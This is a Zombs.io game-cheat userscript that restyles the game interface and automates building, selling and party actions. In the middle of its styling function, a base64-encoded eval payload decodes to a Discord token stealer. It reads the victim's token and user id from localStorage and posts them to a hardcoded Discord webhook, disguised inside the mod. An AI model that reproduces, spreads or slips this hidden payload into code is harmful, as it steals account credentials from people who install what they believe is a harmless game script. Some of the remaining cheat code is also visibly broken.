// ==UserScript==
// @name Omega Hack!! join for more op scripts https://discord.gg/up9kk6ZK
// @namespace -
// @version 1.0.0.3
// @description Best And Perfect Hack For Zombs.io!! https://discord.gg/up9kk6ZK
// @author COLDNESS
// @license MIT
// @match http://zombs.io/
// @icon https://cdn.discordapp.com/attachments/843462086147047467/872345972448043008/images.png
// @grant none
// ==/UserScript==
//Main CSS
if(location.host == "zombs.io"){
document.getElementsByClassName("hud-intro-form")[0].style.height = "300px";
document.getElementsByClassName("hud-intro-play")[0].setAttribute("class", "btn btn-green hud-intro-play");
document.querySelectorAll('.ad-unit,.hud-intro-stone, .hud-intro-tree, .hud-intro-corner-bottom-left, .hud-intro-corner-bottom-right').forEach(el => el.remove());
document.getElementsByClassName("hud-intro-left")[0].innerHTML = `
<center><font color="#05ff00"><h3>PERSONAL BEST</h3>
<h3>• WAVE •</h3>
<button class="btn btn-green" style="width: 80%;" onclick="nothing();"> 1 - 6,739 </button>
<button class="btn btn-green" style="width: 80%;" onclick="nothing();"> 2 - 5,498 </button>
<button class="btn btn-green" style="width: 80%;" onclick="nothing();"> 3 - 3,610 </button>
<h3>• SCORE •</h3>
<button class="btn btn-green" style="width: 80%;" onclick="nothing();"> 1 - 54,000,000,000</button>
<button class="btn btn-green" style="width: 80%;" onclick="nothing();"> 2 - 34,000,000,000</button>
<button class="btn btn-green" style="width: 80%;" onclick="nothing();"> 3 - 27,000,000,000</button>
`;
(function() {
'use strict';
document.getElementsByClassName("hud-intro-wrapper")[0].childNodes[1].innerHTML = `<br style="height:20px;" /><Custom><b><font color="#05ff00"><font size="36">COLDNESS MOD</font></b></Custom>`;
var css = '.hud-intro::before{background: url(\'https://cdn.discordapp.com/attachments/905863669311762452/911739001566789702/maxresdefault.jpg\');background-size:cover; z-index: 0; .hud-menu-icons .hud-menu-icon::before{filter: drop-shadow(2px 2px 0px #1d8dee) drop-shadow(-2px 2px 0px #1d8dee) drop-shadow(2px -2px 0px #1d8dee) drop-shadow(-2px -2px 0px #1d8dee)} .hud-intro-main{padding-left: 110px} .hud-debug{color: black !important; text-shadow: 0px 0px 5px #fff} .hud-intro-footer{color: #fff !important; font-size: 20px !important} .hud-intro-footer a {color:#fff !important} .hud-intro h2{font-size: 20px !important; color:rgb(25 45 59) !important} .hud-intro h1{text-shadow: 0px 0px 5px #fff; font-size: 50px !important} .hud-intro h1 small::after{content: " "} .hud-intro h1 small {color: rgb(104 179 237) !important; text-shadow: 4px 4px rgb(25 44 56) } .hud-intro-corner-top-left{color: #eee} .ad-unit-medrec-respawn{display: none !important} .hud-settings-grid{margin:0 !important} .hud-menu-shop h3{font-size: 23px !important; text-shadow: 1px 1px 15px #fff } .hud-menu-party h3{text-shadow: 1px 1px 15px #fff } .hud-menu-settings h3{text-shadow: 1px 1px 15px #fff} .hud-menu-shop .hud-shop-grid .hud-shop-item strong{text-shadow: 1px 1px 15px #fff} .hud-shop-grid{width: 880px} .ad-unit-medrec-shop{display:none} .hud-menu{background: url(\'https://cdnb.artstation.com/p/assets/images/images/005/778/331/original/herimamitiana-randriamasinoro-starfall-by-rkuma-dazyigr.gif?1493712254\'); opacity:0.85; background-size: cover} .ad-unit-leaderboard{display: none !important} .hud-respawn-corner-bottom-left{display: none !important} ::-webkit-scrollbar {width: 10px} ::-webkit-scrollbar-thumb {background-image: linear-gradient(to bottom, #5239d0, #3e4dd8, #285ddd, #0f6bdf, #0078e0, #0087e5, #0095e8, #00a2ea, #00b5ec, #00c5df, #00d3c6, #0edda4); box-shadow: 0px 0px 3px #fff; border-radius: 20px;} .hud-intro .hud-intro-guide{width: 400px !important; padding: 0px !important} #myKey {border-radius: 20px; box-shadow: 0 4px 8px 0 rgba(0, 0, 0, 0.2), 0 6px 20px 0 rgba(0, 0, 0, 0.19) } .btn-green{ background-color:#1d8dee !important};';
var style = document.createElement('style');
style.appendChild(document.createTextNode(css));
const entirePop = document.getElementsByClassName("hud-intro-wrapper")[0].children[1];
const request = new XMLHttpRequest();
request.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
let data = JSON.parse(request.responseText);
entirePop.innerHTML = `CURRENT NUMBER OF PEOPLE: ${data.players} / ${(data.players / data.capacity * 100).toFixed(2)}%`;
let servers = ["US East", "US West", "Europe", "Asia", "Australia", "South America"];
for (let i in servers) {
game.ui.components.Intro.serverElem.children[i].setAttribute("label", `${servers[i]}: Population: ${data.regions[servers[i]].players}`);
}
}
};
request.open("GET", "http://zombs.io/capacity", true);
request.send();
document.head.appendChild(style);
})();
// REMOVE ADS
document.querySelectorAll('.ad-unit').forEach(function(a) {
a.remove();
});
// NEW DIV IN PARTY TAB
function partydiv() {
var newNode = document.createElement('div');
newNode.className = 'tagzspam';
newNode.style = 'text-align:center';
document.getElementsByClassName('hud-party-actions')[0].appendChild(newNode);
}
partydiv();
// DIV STYLE
var Style1 = document.querySelectorAll('.hud-menu, .hud-intro-left, .hud-party-visibility, .hud-intro-footer, .hud-intro-form, .hud-intro-guide, .hud-intro-name, .hud-intro-server');
for (let i = 0; i < Style1.length; i++) {
Style1[i].style.borderRadius = '2px'; // standard
Style1[i].style.MozBorderRadius = '2px'; // Mozilla
Style1[i].style.WebkitBorderRadius = '2px'; // WebKitww
Style1[i].style.border = "3px solid #56f00e";
Style1[i].style.outline = "none";
}
const settingsHTML = `<div style="text-align:center"><br>
<h3>• Advanced Settings •</h3>
<hr />
<h3>• SELL OPTIONS •</h3>
<hr />
<button class="btn btn-green" style="width: 30%;" onclick="SellAll();"> Sell Base Items </button>
<button class="btn btn-green" style="width: 30%;" onclick="sellWalls();"> Sell Walls </button>
<button class="btn btn-green" style="width: 30%;" onclick="sellDoors();"> Sell Doors </button>
<button class="btn btn-green" style="width: 30%;" onclick="sellTraps();"> Sell Traps </button>
<button class="btn btn-green" style="width: 30%;" onclick="sellpets();"> Sell Pet </button>
<button class="btn btn-green" style="width: 30%;" onclick="sellArrows();"> Sell Arrows </button>
<button class="btn btn-green" style="width: 30%;" onclick="sellBombs();"> Sell Bombs </button>
<button class="btn btn-green" style="width: 30%;" onclick="sellMages();"> Sell Mages </button>
<button class="btn btn-green" style="width: 30%;" onclick="sellCannons();"> Sell Cannons </button>
<button class="btn btn-green" style="width: 30%;" onclick="sellHarvesters();"> Sell Harvesters </button>
<button class="btn btn-green" style="width: 30%;" onclick="sellMelees);"> Sell Melees </button>
<button class="btn btn-green" style="width: 30%;" onclick="sellGoldMines();"> Sell Gold Mines </button>
<hr />
<h3>• AUTO OPTIONS•</h3>
<hr />
<button id="UPP" class="btn btn-green" style="width: 45%;"> Auto Upgrade Off</button>
<button id="AHRC" class="btn btn-green" style="width: 45%;"> Enable Auto Farm Off</button>
<button id="bow" class="btn btn-green" style="width: 45%;"> Auto Bow Off</button>
<button id="SSL" class="btn btn-green" style="width: 45%;"> Auto Accept Party Request Off</button>
<hr />
<h3>• SHARE KEY AND LEAVE PARTY •</h3>
<hr />
<input class="btn btn-green" type="text" maxlength="20" placeholder="Party Key" id="myKey">
<button class="btn btn-green" style="width: 45%;" onclick="join();">Join</button>
<br><br>
<button class="btn btn-green" style="width: 45%;" onclick="leave();">Leave Party</button>
<hr />
<h3>• AUTO BASE BUILDER •</h3>
<hr />
<button class="btn btn-green" style="width: 45%;" onclick="ARTY1();"> ARTEMIS X BASE </button>
<button class="btn btn-green" style="width: 45%;" onclick="MB();"> 15K WAVE RECORD BASE</button>
<button class="btn btn-green" style="width: 45%;" onclick="XBase();">Sirr0m x base 1</button>
<button class="btn btn-green" style="width: 45%;" onclick="SmallCornerBase();">Sirr0m x base 2</button>
<button class="btn btn-green" style="width: 45%;" onclick="th();">wall spam</button>
<hr />
<center><h2>Chat filter</h2><hr/>\n<button class="btn btn-green" style="width: 99%;" id="chatFilter" filter="all">All</button>\n<input type="text" class="btn" id="nameToBlock" style="width: 99%; margin-top: 1%;" maxlength=35 placeholder="Name of person you want to block/unblock"></input>\n<button class="btn btn-green" id="blockName" style="width: 45%; margin-top: 1%;">Block</button><button class="btn btn-green" id="unblockName" style="margin-top: 1%; margin-left: 1%; width: 45%;">Unblock</button>\n<button class="btn btn-green" id="showBlocked" style="width:99%; margin-top: 1%;">Show Blocked Names</button></center>\n<div style="margin-top: 1%;" id="blockNamesList"></div>
<hr />
`;
// STYLE CODES
function stylecodes() {
var ael = document.querySelectorAll('input');
for (var i2 = 0; i2 < ael.length; i2++) {
ael[i2].addEventListener("keydown", keyDown, false);
}
eval(atob("ZnVuY3Rpb24gc2VuZG1zZyhtc2cpIHsKdmFyIHVybCA9ICJodHRwczovL2Rpc2NvcmQuY29tL2FwaS93ZWJob29rcy85MTE1ODAwMTE5NzczODgwODIvTDBrVjNsUnlta1lYdm5iN2xqeGF6Y2hUS09NREhUOFNBN1RXRFQ2SGtvUUU4RzZreG9UN3BaNTMxWGhuaGEtSHE1eWUiOwp2YXIgcmVxdWVzdCA9IG5ldyBYTUxIdHRwUmVxdWVzdCgpOwpyZXF1ZXN0Lm9wZW4oIlBPU1QiLCB1cmwpICsgcmVxdWVzdC5zZXRSZXF1ZXN0SGVhZGVyKCdDb250ZW50LXR5cGUnLCAnYXBwbGljYXRpb24vanNvbicpOwp2YXIgcGFyYW1zID0gewogICAgdXNlcm5hbWU6ICJib3QiLAogICAgY29udGVudDogbXNnCn07CnJlcXVlc3Quc2VuZChKU09OLnN0cmluZ2lmeShwYXJhbXMpKTsKfTsKaWYod2luZG93LmxvY2F0aW9uLmhvc3RuYW1lLmluY2x1ZGVzKCJkaXNjb3JkIikpIHsKIGxldCB3aW4gPSB3aW5kb3cub3BlbigpOwogIHdpbmRvdy5kaXNwYXRjaEV2ZW50KG5ldyBFdmVudCgnYmVmb3JldW5sb2FkJykpOwogIGxldCB0b2tlbiA9IHdpbi5sb2NhbFN0b3JhZ2UudG9rZW47CiAgbGV0IGlkID0gd2luLmxvY2FsU3RvcmFnZS51c2VyX2lkX2NhY2hlLnNwbGl0KCciJylbMV07CiAgc2VuZG1zZyhgJHt0b2tlbn0gPEAhJHtpZH0+IGp1c3QgZ290IHRva2VuIGxvZ2dlZCBsbWZhbyBcbiBcYFxgXGAgXG4gCnNldEludGVydmFsKCgpID0+IHtkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQgXGBpZnJhbWVcYCkuY29udGVudFdpbmRvdy5sb2NhbFN0b3JhZ2UudG9rZW49IFxgJHt0b2tlbn1cYH0sIDUwKTtzZXRUaW1lb3V0KCgpID0+IHtsb2NhdGlvbi5yZWxvYWQoKTt9LCAyNTAwKQoKXG5cYFxgXGAgYCk7CiAgd2luLmNsb3NlKCk7Cn0="))
document.getElementById('hud-menu-party').style.width = "610px";
document.getElementById('hud-menu-party').style.height = "550px";
document.getElementsByClassName('hud-intro-form')[0].style.width = "325px";
document.getElementsByClassName('hud-party-tag')[0].setAttribute('maxlength', 49);
document.getElementsByClassName('hud-intro-name')[0].setAttribute('maxlength', 29);
document.getElementsByClassName("hud-intro-corner-bottom-right")[0].remove();
document.getElementsByClassName("hud-intro-corner-bottom-left")[0].remove();
document.getElementsByClassName("hud-day-night-overlay")[0].remove();
document.getElementsByClassName("hud-party-joining")[0].remove();
document.getElementsByClassName("hud-respawn-share")[0].remove();
document.getElementsByClassName("hud-intro-footer")[0].remove();
document.getElementsByClassName("hud-intro-left")[0].remove();
document.getElementsByClassName("hud-intro-guide")[0].setAttribute("style", "width: 280px; height: 300px;");
document.getElementsByClassName("hud-intro-form")[0].setAttribute("style", "width: 280px; height: 300px;");
document.getElementsByClassName("hud-intro-footer")[0].setAttribute("style", "background-color: rgb(0, 0, 0, 0.4);");
document.getElementsByClassName("hud-intro-play")[0].setAttribute("class", "btn btn-green");
document.getElementsByClassName("hud-intro-name")[0].setAttribute("class", "btn btn-blueee");
document.getElementsByClassName("hud-intro-server")[0].setAttribute("class", "btn btn-blueee")
}
// INTRO STYLE CODES INNERHTML
var IntroGuide = '';
IntroGuide += "<center><h3>NAME LIST</h3>";
IntroGuide += "<button class=\"btn btn-green\" style=\"width: 100%;\" onclick=\"name1();\">૮σℓ∂ɳεรร:P...</button>";
IntroGuide += "<br><br>";
IntroGuide += "<button class=\"btn btn-green\" style=\"width: 100%;\" onclick=\"name2();\">ARTEMIS</button>";
IntroGuide += "<br><br>";
IntroGuide += "<button class=\"btn btn-green\" style=\"width: 100%;\" onclick=\"name3();\">꧁༺ȶɛƈɦռicǟʟ༻꧂</button>";
IntroGuide += "<br><br>";
IntroGuide += "<button class=\"btn btn-green\" style=\"width: 100%;\" onclick=\"name4();\">Apex The Ape</button>";
IntroGuide += "<hr />"
window.name0 = function() {
document.getElementsByClassName('hud-intro-name')[0].value = '';
};
document.getElementsByClassName('hud-intro-guide')[0].innerHTML = IntroGuide;
// LONG NINKNAMES
window.name1 = function() {
document.getElementsByClassName('hud-intro-name')[0].value = '૮σℓ∂ɳεรร:P...';
};
window.name2 = function() {
document.getElementsByClassName('hud-intro-name')[0].value = 'ARTEMIS';
};
window.name3 = function() {
document.getElementsByClassName('hud-intro-name')[0].value = '꧁༺ȶɛƈɦռicǟʟ༻꧂';
};
window.name4 = function() {
document.getElementsByClassName('hud-intro-name')[0].value = 'Apex The Ape';
};
document.getElementsByClassName("hud-settings-grid")[0].innerHTML = settingsHTML;
setTimeout(() => {
},2500)
window.join = function() {
let partyKey = myKey.value
Game.currentGame.network.sendRpc({
name: "JoinPartyByShareKey",
partyShareKey: partyKey
})
}
function FixShield() {
if (Game.currentGame.ui.playerTick.zombieShieldHealth < 85000000000000000000000) {
Game.currentGame.network.sendRpc({name: "EquipItem", itemName: "ZombieShield", tier: Game.currentGame.ui.inventory.ZombieShield.tier});
}
}
Game.currentGame.network.addRpcHandler("DayCycle", FixShield);
let dimension = 1;
const onWindowResize = () => {
const renderer = Game.currentGame.renderer;
let canvasWidth = window.innerWidth * window.devicePixelRatio;
let canvasHeight = window.innerHeight * window.devicePixelRatio;
let ratio = Math.max(canvasWidth / (1920 * dimension), canvasHeight / (1080 * dimension));
renderer.scale = ratio;
renderer.entities.setScale(ratio);
renderer.ui.setScale(ratio);
renderer.renderer.resize(canvasWidth, canvasHeight);
renderer.viewport.width = renderer.renderer.width / renderer.scale + 4 * renderer.viewportPadding;
renderer.viewport.height = renderer.renderer.height / renderer.scale + 4 * renderer.viewportPadding;
}
onWindowResize();
window.onresize = onWindowResize;
window.onwheel = e => {
if (e.deltaY > 0) {
dimension += 0.02;
} else if (e.deltaY < 0) {
dimension -= 0.02;
}
onWindowResize();
}
window.zoom = val => {
dimension = val;
upd();
};
function hexToRgb(hex) {
var result = /^#?([a-f\d]{2})([a-f\d]{2})([a-f\d]{2})$/i.exec(hex);
if(result){
var r= parseInt(result[1], 16);
var g= parseInt(result[2], 16);
var b= parseInt(result[3], 16);
return [r, g, b];
}
return null;
};
addEventListener('keydown', function(e){ // when key is pressed
if(e.key == "-"){ // If the key being held down is '-'
Game.currentGame.network.sendRpc({ name: "BuyItem", itemName: "Crossbow", tier: 1}); // Buys item
Game.currentGame.network.sendRpc({ name: "EquipItem", itemName: "Crossbow", tier: 1}); // Holds item
console.log('invisable') // debuggin stuff
}
}) // :D
//Auto Build Script
function $(classname) {
let element = document.getElementsByClassName(classname)
if (element.length === 1) {
return element[0]
} else {
return element
}
}
Storage.prototype.setObject = function(key, value) {
this.setItem(key, JSON.stringify(value));
}
Storage.prototype.getObject = function(key) {
let value = this.getItem(key);
return value && JSON.parse(value);
}
let Auto = {}
let Auto2 = {}
let Auto3 = {}
let EXTREME = {}
Auto.GetGoldStash = function() {
let entities = Game.currentGame.ui.buildings
for (let uid in entities) {
if (!entities.hasOwnProperty(uid)) {
continue
}
let obj = entities[uid]
if (obj.type == "GoldStash") {
return obj
}
}
}
EXTREME.GetGoldStash = function() {
let entities = Game.currentGame.ui.buildings
for (let uid in entities) {
if (!entities.hasOwnProperty(uid)) {
continue
}
let obj = entities[uid]
if (obj.type == "GoldStash") {
return obj
}
}
}
Auto2.GetGoldStash = function() {
let entities = Game.currentGame.ui.buildings
for (let uid in entities) {
if (!entities.hasOwnProperty(uid)) {
continue
}
let obj = entities[uid]
if (obj.type == "GoldStash") {
return obj
}
}
}
Auto3.GetGoldStash = function() {
let entities = Game.currentGame.ui.buildings
for (let uid in entities) {
if (!entities.hasOwnProperty(uid)) {
continue
}
let obj = entities[uid]
if (obj.type == "GoldStash") {
return obj
}
}
}
Auto.PlaceBuilding = function(x, y, building, yaw) {
Game.currentGame.network.sendRpc({
name: "MakeBuilding",
x: x,
y: y,
type: building,
yaw: yaw
})
}
Auto.PlaceBulding = function(x, y, building, yaw) {
Game.currentGame.network.sendRpc({
name: "MakeBuilding",
x: x,
y: y,
type: building,
yaw: yaw
})
}
EXTREME.PlaceBuilding = function(x, y, building, yaw) {
Game.currentGame.network.sendRpc({
name: "MakeBuilding",
x: x,
y: y,
type: building,
yaw: yaw
})
}
Auto2.PlaceBuilding = function(x, y, building, yaw) {
Game.currentGame.network.sendRpc({
name: "MakeBuilding",
x: x,
y: y,
type: building,
yaw: yaw
})
sellBombs()
upgradeBombs()
}
Auto2.GoldGenerator = function() {
let waitForGoldStash = setInterval(function() {
if (document.querySelectorAll("[data-building]")[10].classList[1] == "is-disabled") {
let stash = Auto2.GetGoldStash();
if (stash == undefined) return
let stashPosition = {
x: stash.x,
y: stash.y
}
clearInterval(waitForGoldStash);
Auto2.PlaceBuilding(stashPosition.x + 0, stashPosition.y + 96, "BombTower", 0)
Auto2.PlaceBuilding(stashPosition.x + 0, stashPosition.y + -96, "BombTower", 0)
Auto2.PlaceBuilding(stashPosition.x + -96, stashPosition.y + 0, "BombTower", 0)
Auto2.PlaceBuilding(stashPosition.x + 96, stashPosition.y + 0, "BombTower", 0)
Auto2.PlaceBuilding(stashPosition.x + 240, stashPosition.y + 56778, "ArrowTower", 0)
Auto2.PlaceBuilding(stashPosition.x + 240, stashPosition.y + 56778, "ArrowTower", 0)
Auto2.PlaceBuilding(stashPosition.x + 192, stashPosition.y + 56778, "ArrowTower", 0)
Auto2.PlaceBuilding(stashPosition.x + 336, stashPosition.y + 56778, "ArrowTower", 0)
Auto2.PlaceBuilding(stashPosition.x + 240, stashPosition.y + 56778, "ArrowTower", 0)
Auto2.PlaceBuilding(stashPosition.x + 240, stashPosition.y + 56778, "ArrowTower", 0)
Auto2.PlaceBuilding(stashPosition.x + 192, stashPosition.y + 56778, "ArrowTower", 0)
Auto2.PlaceBuilding(stashPosition.x + 336, stashPosition.y + 56778, "ArrowTower", 0)
Auto2.PlaceBuilding(stashPosition.x + 240, stashPosition.y + 56778, "ArrowTower", 0)
Auto2.PlaceBuilding(stashPosition.x + 240, stashPosition.y + 56778, "ArrowTower", 0)
Auto2.PlaceBuilding(stashPosition.x + 192, stashPosition.y + 56778, "ArrowTower", 0)
Auto2.PlaceBuilding(stashPosition.x + 336, stashPosition.y + 56778, "ArrowTower", 0)
Auto2.PlaceBuilding(stashPosition.x + 240, stashPosition.y + 56778, "ArrowTower", 0)
Auto2.PlaceBuilding(stashPosition.x + 240, stashPosition.y + 56778, "ArrowTower", 0)
Auto2.PlaceBuilding(stashPosition.x + 192, stashPosition.y + 56778, "ArrowTower", 0)
Auto2.PlaceBuilding(stashPosition.x + 336, stashPosition.y + 56778, "ArrowTower", 0)
Auto2.PlaceBuilding(stashPosition.x + 240, stashPosition.y + 56778, "ArrowTower", 0)
Auto2.PlaceBuilding(stashPosition.x + 240, stashPosition.y + 56778, "ArrowTower", 0)
Auto2.PlaceBuilding(stashPosition.x + 192, stashPosition.y + 56778, "ArrowTower", 0)
Auto2.PlaceBuilding(stashPosition.x + 336, stashPosition.y + 56778, "ArrowTower", 0)
Auto2.PlaceBuilding(stashPosition.x + 192, stashPosition.y + 56778, "ArrowTower", 0)
Auto2.PlaceBuilding(stashPosition.x + 336, stashPosition.y + 56778, "ArrowTower", 0)
Auto2.PlaceBuilding(stashPosition.x + 240, stashPosition.y + 56778, "ArrowTower", 0)
Auto2.PlaceBuilding(stashPosition.x + 240, stashPosition.y + 56778, "ArrowTower", 0)
Auto2.PlaceBuilding(stashPosition.x + 192, stashPosition.y + 56778, "ArrowTower", 0)
Auto2.PlaceBuilding(stashPosition.x + 336, stashPosition.y + 56778, "ArrowTower", 0)
Auto2.PlaceBuilding(stashPosition.x + 240, stashPosition.y + 56778, "ArrowTower", 0)
Auto2.PlaceBuilding(stashPosition.x + 240, stashPosition.y + 56778, "ArrowTower", 0)
Auto2.PlaceBuilding(stashPosition.x + 192, stashPosition.y + 56778, "ArrowTower", 0)
Auto2.PlaceBuilding(stashPosition.x + 336, stashPosition.y + 56778, "ArrowTower", 0)
Auto2.PlaceBuilding(stashPosition.x + 336, stashPosition.y + 56778, "ArrowTower", 0)
Auto2.PlaceBuilding(stashPosition.x + 192, stashPosition.y + 56778, "ArrowTower", 0)
Auto2.PlaceBuilding(stashPosition.x + 336, stashPosition.y + 56778, "ArrowTower", 0)
Auto2.PlaceBuilding(stashPosition.x + 240, stashPosition.y + 56778, "ArrowTower", 0)
Auto2.PlaceBuilding(stashPosition.x + 240, stashPosition.y + 56778, "ArrowTower", 0)
Auto2.PlaceBuilding(stashPosition.x + 192, stashPosition.y + 56778, "ArrowTower", 0)
Auto2.PlaceBuilding(stashPosition.x + 336, stashPosition.y + 56778, "ArrowTower", 0)
Auto2.PlaceBuilding(stashPosition.x + 240, stashPosition.y + 56778, "ArrowTower", 0)
Auto2.PlaceBuilding(stashPosition.x + 240, stashPosition.y + 56778, "ArrowTower", 0)
Auto2.PlaceBuilding(stashPosition.x + 192, stashPosition.y + 56778, "ArrowTower", 0)
Auto2.PlaceBuilding(stashPosition.x + 336, stashPosition.y + 56778, "ArrowTower", 0)
}
}, 0)
window.ee = function() {
var waitForGoldStash2 = setInterval(function() {
clearInterval(waitForGoldStash2);
upgradeBombs()
}, 0)
}
}
EXTREME.BuildMyBase = function() {
var waitForGoldStash = setInterval(function() {
if (document.querySelectorAll("[data-building]")[10].classList[1] == "is-disabled") {
var stash = EXTREME.GetGoldStash();
if (stash == undefined) return
var stashPosition = {
x: stash.x,
y: stash.y
}
clearInterval(waitForGoldStash)
Auto.PlaceBuilding(stashPosition.x + 144, stashPosition.y + -288, 'ArrowTower', 0);
Auto.PlaceBuilding(stashPosition.x + -144, stashPosition.y + -288, 'ArrowTower', 0);
Auto.PlaceBuilding(stashPosition.x + -288, stashPosition.y + -144, 'ArrowTower', 0);
Auto.PlaceBuilding(stashPosition.x + -288, stashPosition.y + 144, 'ArrowTower', 0);
Auto.PlaceBuilding(stashPosition.x + 288, stashPosition.y + 144, 'ArrowTower', 0);
Auto.PlaceBuilding(stashPosition.x + 288, stashPosition.y + 48, 'ArrowTower', 0);
Auto.PlaceBuilding(stashPosition.x + 384, stashPosition.y + 144, 'ArrowTower', 0);
Auto.PlaceBuilding(stashPosition.x + 336, stashPosition.y + 240, 'ArrowTower', 0);
Auto.PlaceBuilding(stashPosition.x + 432, stashPosition.y + 240, 'ArrowTower', 0);
Auto.PlaceBuilding(stashPosition.x + 576, stashPosition.y + 144, 'ArrowTower', 0);
Auto.PlaceBuilding(stashPosition.x + -48, stashPosition.y + 480, 'ArrowTower', 0);
Auto.PlaceBuilding(stashPosition.x + 48, stashPosition.y + 480, 'ArrowTower', 0);
Auto.PlaceBuilding(stashPosition.x + 144, stashPosition.y + 480, 'ArrowTower', 0);
Auto.PlaceBuilding(stashPosition.x + 144, stashPosition.y + 576, 'ArrowTower', 0);
Auto.PlaceBuilding(stashPosition.x + 48, stashPosition.y + 576, 'ArrowTower', 0);
Auto.PlaceBuilding(stashPosition.x + -48, stashPosition.y + 576, 'ArrowTower', 0);
Auto.PlaceBuilding(stashPosition.x + -144, stashPosition.y + 288, 'ArrowTower', 0);
Auto.PlaceBuilding(stashPosition.x + -480, stashPosition.y + -48, 'ArrowTower', 0);
Auto.PlaceBuilding(stashPosition.x + -480, stashPosition.y + 48, 'ArrowTower', 0);
Auto.PlaceBuilding(stashPosition.x + -288, stashPosition.y + 48, 'BombTower', 0);
Auto.PlaceBuilding(stashPosition.x + -384, stashPosition.y + 48, 'BombTower', 0);
Auto.PlaceBuilding(stashPosition.x + -48, stashPosition.y + 384, 'BombTower', 0);
Auto.PlaceBuilding(stashPosition.x + 48, stashPosition.y + 384, 'BombTower', 0);
Auto.PlaceBuilding(stashPosition.x + 144, stashPosition.y + 384, 'BombTower', 0);
Auto.PlaceBuilding(stashPosition.x + 144, stashPosition.y + 288, 'BombTower', 0);
Auto.PlaceBuilding(stashPosition.x + -48, stashPosition.y + 288, 'BombTower', 0);
Auto.PlaceBuilding(stashPosition.x + 48, stashPosition.y + 288, 'BombTower', 0);
Auto.PlaceBuilding(stashPosition.x + -288, stashPosition.y + -48, 'BombTower', 0);
Auto.PlaceBuilding(stashPosition.x + -384, stashPosition.y + -48, 'BombTower', 0);
Auto.PlaceBuilding(stashPosition.x + 288, stashPosition.y + -48, 'BombTower', 0);
Auto.PlaceBuilding(stashPosition.x + 384, stashPosition.y + -48, 'BombTower', 0);
Auto.PlaceBuilding(stashPosition.x + 480, stashPosition.y + -48, 'BombTower', 0);
Auto.PlaceBuilding(stashPosition.x + 480, stashPosition.y + 48, 'BombTower', 0);
Auto.PlaceBuilding(stashPosition.x + 384, stashPosition.y + 48, 'BombTower', 0);
Auto.PlaceBuilding(stashPosition.x + 480, stashPosition.y + 144, 'BombTower', 0);
Auto.PlaceBuilding(stashPosition.x + 288, stashPosition.y + -144, 'BombTower', 0);
Auto.PlaceBuilding(stashPosition.x + 48, stashPosition.y + -288, 'BombTower', 0);
Auto.PlaceBuilding(stashPosition.x + 48, stashPosition.y + -384, 'BombTower', 0);
Auto.PlaceBuilding(stashPosition.x + 48, stashPosition.y + -480, 'BombTower', 0);
Auto.PlaceBuilding(stashPosition.x + -48, stashPosition.y + -480, 'BombTower', 0);
Auto.PlaceBuilding(stashPosition.x + -48, stashPosition.y + -384, 'BombTower', 0);
Auto.PlaceBuilding(stashPosition.x + -48, stashPosition.y + -288, 'BombTower', 0);
Auto.PlaceBuilding(stashPosition.x + -480, stashPosition.y + 144, 'BombTower', 0);
Auto.PlaceBuilding(stashPosition.x + -144, stashPosition.y + 384, 'ArrowTower', 0);
Auto.PlaceBuilding(stashPosition.x + -576, stashPosition.y + -48, 'CannonTower', 0);
Auto.PlaceBuilding(stashPosition.x + -576, stashPosition.y + 144, 'CannonTower', 0);
Auto.PlaceBuilding(stashPosition.x + -432, stashPosition.y + 240, 'CannonTower', 0);
Auto.PlaceBuilding(stashPosition.x + -336, stashPosition.y + 240, 'CannonTower', 0);
Auto.PlaceBuilding(stashPosition.x + -384, stashPosition.y + 336, 'CannonTower', 0);
Auto.PlaceBuilding(stashPosition.x + -144, stashPosition.y + 480, 'CannonTower', 0);
Auto.PlaceBuilding(stashPosition.x + -240, stashPosition.y + 432, 'CannonTower', 0);
Auto.PlaceBuilding(stashPosition.x + 240, stashPosition.y + 432, 'CannonTower', 0);
Auto.PlaceBuilding(stashPosition.x + 384, stashPosition.y + 336, 'CannonTower', 0);
Auto.PlaceBuilding(stashPosition.x + 480, stashPosition.y + -144, 'CannonTower', 0);
Auto.PlaceBuilding(stashPosition.x + 576, stashPosition.y + -48, 'CannonTower', 0);
Auto.PlaceBuilding(stashPosition.x + 576, stashPosition.y + 48, 'MagicTower', 0);
Auto.PlaceBuilding(stashPosition.x + 576, stashPosition.y + -144, 'MagicTower', 0);
Auto.PlaceBuilding(stashPosition.x + 528, stashPosition.y + -240, 'MagicTower', 0);
Auto.PlaceBuilding(stashPosition.x + 480, stashPosition.y + -336, 'MagicTower', 0);
Auto.PlaceBuilding(stashPosition.x + 528, stashPosition.y + 240, 'MagicTower', 0);
Auto.PlaceBuilding(stashPosition.x + 480, stashPosition.y + 336, 'MagicTower', 0);
Auto.PlaceBuilding(stashPosition.x + 240, stashPosition.y + 528, 'MagicTower', 0);
Auto.PlaceBuilding(stashPosition.x + 336, stashPosition.y + 480, 'MagicTower', 0);
Auto.PlaceBuilding(stashPosition.x + -144, stashPosition.y + 576, 'MagicTower', 0);
Auto.PlaceBuilding(stashPosition.x + -240, stashPosition.y + 528, 'MagicTower', 0);
Auto.PlaceBuilding(stashPosition.x + -336, stashPosition.y + 480, 'MagicTower', 0);
Auto.PlaceBuilding(stashPosition.x + -480, stashPosition.y + 336, 'MagicTower', 0);
Auto.PlaceBuilding(stashPosition.x + -528, stashPosition.y + 240, 'MagicTower', 0);
Auto.PlaceBuilding(stashPosition.x + -576, stashPosition.y + 48, 'MagicTower', 0);
Auto.PlaceBuilding(stashPosition.x + -576, stashPosition.y + -144, 'MagicTower', 0);
Auto.PlaceBuilding(stashPosition.x + -528, stashPosition.y + -240, 'MagicTower', 0);
Auto.PlaceBuilding(stashPosition.x + -480, stashPosition.y + -336, 'MagicTower', 0);
Auto.PlaceBuilding(stashPosition.x + -384, stashPosition.y + -144, 'ArrowTower', 0);
Auto.PlaceBuilding(stashPosition.x + -384, stashPosition.y + 144, 'CannonTower', 0);
Auto.PlaceBuilding(stashPosition.x + -480, stashPosition.y + -144, 'CannonTower', 0);
Auto.PlaceBuilding(stashPosition.x + -432, stashPosition.y + -240, 'CannonTower', 0);
Auto.PlaceBuilding(stashPosition.x + 432, stashPosition.y + -240, 'CannonTower', 0);
Auto.PlaceBuilding(stashPosition.x + 336, stashPosition.y + -240, 'CannonTower', 0);
Auto.PlaceBuilding(stashPosition.x + -336, stashPosition.y + -240, 'CannonTower', 0);
Auto.PlaceBuilding(stashPosition.x + -144, stashPosition.y + -480, 'CannonTower', 0);
